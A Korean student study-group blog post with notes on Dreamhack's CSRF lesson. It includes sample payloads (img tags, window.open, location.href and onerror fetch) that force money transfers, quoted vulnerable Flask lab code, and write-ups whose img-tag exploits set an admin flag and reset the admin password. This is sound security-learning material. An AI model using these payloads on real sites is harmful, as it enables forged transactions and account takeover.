-
[SISS/웹해킹 스터디] 2학기 5주차 스터디 - CSRF24-2 SISS/웹해킹 2024. 10. 6. 12:00
: 5주차 09/30 ~ 10/06 [드림핵] Cross Site Request Forgery (CSRF)
교차 사이트 요청 위조
- 쿠키
- 서명과 같은 역할(요청에 동의) → 쿠키 탈취(XSS) 및 위조(CSRF) 위협에 주의
- Cross Site Request Forgery(CSRF) → 이용자를 속여 의도치 않은 요청에 동의하게 함(이용자가 HTTP 요청을 보내도록 함)
- 예시 코드 1(송금 기능 수행)→ 계좌 비밀번호 등의 추가 인증이 없기 때문에 로그인한 모두가 해당 기능을 이용할 수 있음
// 이용자의 송금 요청 GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1 Host: bank.dreamhack.io Cookie: session=IeheighaiToo4eenahw3
# 송금 기능을 수행하는 /sendmoney EP의 코드 # 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함. @app.route('/sendmoney') def sendmoney(name): # 송금을 받는 사람과 금액을 입력받음. to_user = request.args.get('to') amount = int(request.args.get('amount')) # 송금 기능 실행 후, 결과 반환 success_status = send_money(to_user, amount) # 송금이 성공했을 때, if success_status: # 성공 메시지 출력 return "Send success." # 송금이 실패했을 때, else: # 실패 메시지 출력 return "Send fail."
- 예시 코드 1(송금 기능 수행)→ 계좌 비밀번호 등의 추가 인증이 없기 때문에 로그인한 모두가 해당 기능을 이용할 수 있음
- Cross Site Request Forgery 동작 → 이용자가 악성 스크립트(HTTP 요청을 보내는 코드)가 담긴 페이지를 조회하도록 유도
- CSRF 공격 스크립트
- HTML 혹은 Javascript를 이용해 작성
- CSRF 공격 스크립트
// HTML img 태그 공격 코드 예시 <img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px> // Javascript 공격 코드 예시 /* 새 창 띄우기 */ window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'); /* 현재 창 주소 옮기기 */ location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'; location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
- CSRF 실습
- 10,000원을 가지고 있는 6명의 사용자를 이용해 드림핵 잔고를 60,000원으로 만들기
<img src="/sendmoney?to=Dreamhack&amount=10000"> <img src=1 onerror="fetch('/sendmoney?to=Dreamhack&amount=10000');"> <link rel="stylesheet" href="/sendmoney?to=Dreamhack&amount=10000">
- XSS와 CSRF의 차이
- 공통점
- 클라이언트를 대상으로 함
- 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야함
- 차이점
- 목적이 다름
- XSS → 인증 정보 탈취(세션 및 쿠키)
- CSRF → HTTP 요청 전송
- 실행 방법
- XSS → 공격할 사이트의 오리진에서 스크립트 실행
- CSRF → 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한을 이용해 공격자가 웹 서비스의 임의 기능을 실행할 수 있음
- 목적이 다름
- 공통점
퀴즈 1(CSRF)
CSRF 실습 1
- 페이지
엔드포인트 설명 / 인덱스 페이지 /vuln 이용자가 입력한 값을 출력(XSS가 발생할 수 있는 키워드를 필터링) /memo 사용자가 작성한 메모를 출력 /admin/notice_flag 메모에 FLAG를 작성(로컬호스트에서 접속해야 하며, 사이트 관리자만 사용할 수 있음) /flag 전달된 URL에 임의 이용자가 접속하도록 함
- 웹 서비스 분석
- @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(frame, script, on은 *으로 치환)
@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행) def vuln(): param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경 xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드 for _ in xss_filter: param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환 return param # 이용자의 입력 값을 화면 상에 표시
- @app.route(”/memo”) → 이용자의 입력을 기록 및 출력
@app.route('/memo') # memo 페이지 라우팅 def memo(): # memo 함수 선언 global memo_text # 메모를 전역변수로 참조 text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴 memo_text += text + '\\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록 return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력
- @app.route(”/admin/notice_flag”) → userid 파라미터가 admin일 경우 플래그를 작성(로컬 호스트에서 접근)
@app.route('/admin/notice_flag') # notice_flag 페이지 라우팅 def admin_notice_flag(): global memo_text # 메모를 전역변수로 참조 if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우 return 'Access Denied' # 접근 제한 if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우 return 'Access Denied 2' # 접근 제한 memo_text += f'[Notice] flag is {FLAG}\\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록 return 'Ok' # Ok 반환
- @app.route(”/flag”) → 메소드에 따라 다른 기능 수행
- GET → URL 입력 페이지 제공
- POST → param 파라미터를 check_csrf()의 인자로 넣고 호출 → check_csrf()는 인자를 URL의 파라미터로 설정한 후 read_url()을 통해 셀레니움을 이용하여 방문
@app.route("/flag", methods=["GET", "POST"]) # flag 페이지 라우팅 (GET, POST 요청을 모두 받음) def flag(): if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우 return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력 elif request.method == "POST": # 이용자의 요청이 POST 메소드인 경우 param = request.form.get("param", "") # param 파라미터를 가져온 후, if not check_csrf(param): # 관리자에게 접속 요청 (check_csrf 함수) return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' def check_csrf(param, cookie={"name": "name", "value": "value"}): url = f"<http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}>" # 로컬 URL 설정 return read_url(url, cookie) # URL 방문 def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정 try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정 for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) # 크롬 브라우저 옵션 설정 driver = webdriver.Chrome(service=service, options=options) # 셀레늄에서 크롬 브라우저 사용 driver.implicitly_wait(3) # 크롬 로딩타임을 위한 타임아웃 3초 설정 driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정 driver.get("<http://127.0.0.1:8000/>") # 관리자가 CSRF-1 문제 사이트 접속 driver.add_cookie(cookie) # 관리자 쿠키 적용 driver.get(url) # 인자로 전달된 url에 접속 except Exception as e: driver.quit() # 셀레늄 종료 print(str(e)) # return str(e) return False # 접속 중 오류가 발생하면 비정상 종료 처리 driver.quit() # 셀레늄 종료 return True # 정상 종료 처리
- @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(frame, script, on은 *으로 치환)
- 취약점 분석
- @app.route(”/vuln”) → 키워드 필터링이 있어 xss 공격은 불가하지만 꺽쇠 및 다른 태그를 사용할 수 있음 → csrf 공격 가능
- 익스플로잇
- 플래그 획득을 위해서는 /admin/notice_flag 페이지를 로컬 호스트로 접근해야함 → 로컬 호스트 이용자가 요청을 전송하도록 flag 페이지를 이용해 코드 작성
- 테스트베드 생성 → 드림핵 툴즈를 이용해 URL 접속 기록을 확인
- CSRF 취약점 테스트 → img 태그를 삽입해 이미지 출력 확인
// URL에 접속하는 공격 코드 작성 <img src="https://jugwwka.request.dreamhack.games">
- CSRF 공격 코드 작성 및 실행
- flag 페이지에 userid를 admin으로 설정한 코드 입력
<img src="/admin/notice_flag?userid=admin" />
CSRF 실습 2
- 문제 → CSRF를 통해 관리자 계정으로 로그인
users = { 'guest': 'guest', 'admin': FLAG }
- 페이지
엔드포인트 설명 / 인덱스 페이지 /vuln 이용자가 입력한 값을 출력(XSS 발생 가능 키워드 필터링) /flag GET, POST 요청 처리 및 CSRF 공격 방어와 세션 관리 수행 /login 로그인 페이지 처리
(사용자가 유효한 사용자명과 비밀번호를 제출할 경우) 세션 설정 및 타 페이지로 리디렉션/change_password 비밀번호 변경 처리
사용자의 세션 확인 후, 새로운 비밀번호 설정
- 웹 서비스 분석
- @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(실습 1과 동일/frame, script, on은 *으로 치환)
@app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경 xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드 for _ in xss_filter: param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환 return param
- @app.route(”/flag”) → 메소드에 따라 다른 기능 수행
- GET → URL을 입력받는 페이지 제공
- POST → param 값을 가져온 후 세션 아이디 생성 → 생성한 세션 아이디를 키로 사용하여 admin 값을 session_storage에 저장 → check_scrf 함수를 이용하여 세션 아이디의 유효성 확인
@app.route("/flag", methods=["GET", "POST"]) # flag 페이지 라우팅 (GET, POST 요청을 모두 받음) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") session_id = os.urandom(16).hex() # 무작위 세션 ID 생성 후 16진수 문자열로 변환 session_storage[session_id] = 'admin' # 세션 ID를 키로 사용하여 'admin' 값을 session_storage 딕셔너리에 저장 if not check_csrf(param, {"name":"sessionid", "value": session_id}): # CSRF 토큰 (세션 ID)이 유효한지 확인 return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>'
- @app.route(”/login”) → 메소드에 따라 다른 기능 수행
- GET → 이용자 명과 비밀번호를 입력받는 페이지 제공
- POST → 이용자 명과 비밀번호를 pw와 비교→ (로그인 성공 시) 인덱스 페이지로 리디렉션하기 위한 resp 객체 생성 및 session_id 생성(사용자 식별, 저장 시 이용)
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template('login.html') elif request.method == 'POST': username = request.form.get('username') # POST 요청의 form 데이터에서 'username'을 가져옴 password = request.form.get('password') # POST 요청의 form 데이터에서 'password'를 가져옴 try: pw = users[username] except: return '<script>alert("not found user");history.go(-1);</script>' # 사용자가 존재하지 않는 경우 경고를 표시하고 이전 페이지로 이동 if pw == password: resp = make_response(redirect(url_for('index'))) session_id = os.urandom(8).hex() # 무작위 세션 ID를 생성하고 16진수 문자열로 변환 session_storage[session_id] = username # 세션 ID를 키로 사용하여 현재 사용자를 'session_storage'에 저장 resp.set_cookie('sessionid', session_id) # 생성된 세션 ID를 쿠키로 설정하여 사용자에게 전달 return resp # 로그인이 성공한 경우 리디렉션 응답을 반환 return '<script>alert("wrong password");history.go(-1);</script>' # 비밀번호가 일치하지 않는 경우 경고를 표시 후 이전 페이지로 이동
- @app.route(”/change_password”) → GET 요청을 통해 pw 매개변수 값을 가져와 pw 변수에 저장 + 쿠키에서 세션 아이디를 가져와 session_id 변수에 저장 → 세션 아이디를 통해 로그인한 사용자 확인 → users[username]=pw 세션을 통해 확인한 사용자의 비밀번호를 pw로 변경
@app.route("/change_password") def change_password(): pw = request.args.get("pw", "") session_id = request.cookies.get('sessionid', None) try: username = session_storage[session_id] except KeyError: return render_template('index.html', text='please login') # 세션 ID가 유효하지 않거나 세션을 찾을 수 없는 경우 users[username] = pw # 세션에 연결된 사용자의 비밀번호를 'pw'로 변경 return 'Done'
- @app.route(”/vuln”) → 이용자가 전달한 param 값을 출력(실습 1과 동일/frame, script, on은 *으로 치환)
- 취약점 분석
- @app.route(”/vuln”) → frame, script, on 외의 키워드와 태그 사용이 가능하므로 csrf 공격 가능
- 익스플로잇
- flag 페이지에서 change_password 페이지로 요청을 전송하도록 코드 작성
- login 페이지에서 변경한 비밀번호(admin)로 로그인하여 로그인
<img src="/change_password?pw=admin">
'24-2 SISS > 웹해킹' 카테고리의 다른 글
[SISS/웹해킹 스터디] 2학기 6주차 스터디 - SQL Injection (0) 2024.11.03 [SISS/웹해킹 스터디] 2학기 4주차 스터디 - XSS (0) 2024.09.29 [SISS/웹해킹 스터디] 2학기 2, 3주차 스터디 (1) 2024.09.14 [SISS/웹해킹 스터디] 2학기 1주차 스터디 (2) 2024.09.08 - 쿠키